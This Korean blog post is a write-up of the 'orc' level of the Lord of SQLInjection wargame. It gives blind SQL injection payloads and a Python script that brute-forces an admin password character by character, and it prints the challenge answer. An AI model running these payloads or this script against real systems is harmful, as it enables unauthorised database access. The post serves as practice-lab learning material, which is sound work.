ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [LOS] orc
    Wargame/Lord of SQLInjection 2019. 7. 4. 23:52

    [orc] https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php

    쿼리 문이 참일 경우에는 Hello admin을 페이지에 출력해주며, pw 값을 addslashes 함수로 처리한다.

    또한 쿼리의 결과 값의 pw와 입력해준 pw 값이 동일해야 한다.

     

    [ addslashes(string $str) ]
    작은 따옴표와 큰 따옴표, 역슬래쉬 같은 특정 문자 앞에 역 슬래쉬 문자를 붙여주는 함수
    db 값으로 입력 시 에러 방지 위해 사용

     

    addslashes 처리되기 때문에 Blind SQL Injection을 이용해 pw의 값을 직접 알아내야한다.

     

    1. pw 길이 알아내기
    ?pw=' or length(pw)=n#

    2. pw 한 글자씩 알아내기
    ?pw=' or pw like 'a%
    ?pw=' or substr(pw, n, 1)='[0 - 9], [a - z] 

     

    ?pw=' or length(pw)=8%23

    pw의 길이는 8글자이다.

     

    위와 같이 브루트포싱해서 알아내면 된다.

    python으로 코드를 짜 비밀번호를 찾아보았다.

     

    [ 소스 코드 ]

    #!/usr/bin/env python
    # -*- coding: utf8 -*-
      
    import requests
     
    headers = {'Cookie': 'PHPSESSID=dkbulkcv0mngs04ordrl47hgd3;'}
    url = "https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php"
    string = "1234567890abcdefghijklmnopqrstuvwxyz"
    
    pw = ''
    len = 1
    
    while True:
    	data = "?pw=' or length(pw) = " + str(len) + "%23"
    	r = requests.get(url + data, headers = headers)
    	if r.text.find('Hello admin') != -1 :
    		break
    	len += 1
    print "[+] Get Password length : ",len
    
    for i in range(1,len+1):
    	for j in string:
    		data = "?pw=' or pw like \'" + pw + j + "%"
    		r = requests.get(url + data, headers = headers)
    		if r.text.find('Hello admin') != -1 :
    			pw = pw + j
    			print "[*] Finding... : ",pw
    			break
    	
    print "[+] Found Password : ", pw
    

    [ 실행 결과 ]

     

    pw : 095a9852

     

    ?pw=095a9852

     

    'Wargame > Lord of SQLInjection' 카테고리의 다른 글

    [LOS] darkelf  (0) 2019.07.05
    [LOS] wolfman  (0) 2019.07.05
    [LOS] goblin  (0) 2019.07.04
    [LOS] cobolt  (0) 2019.07.04
    [LOS] gremlin  (0) 2019.07.04

    댓글

@Jo Grini's Blog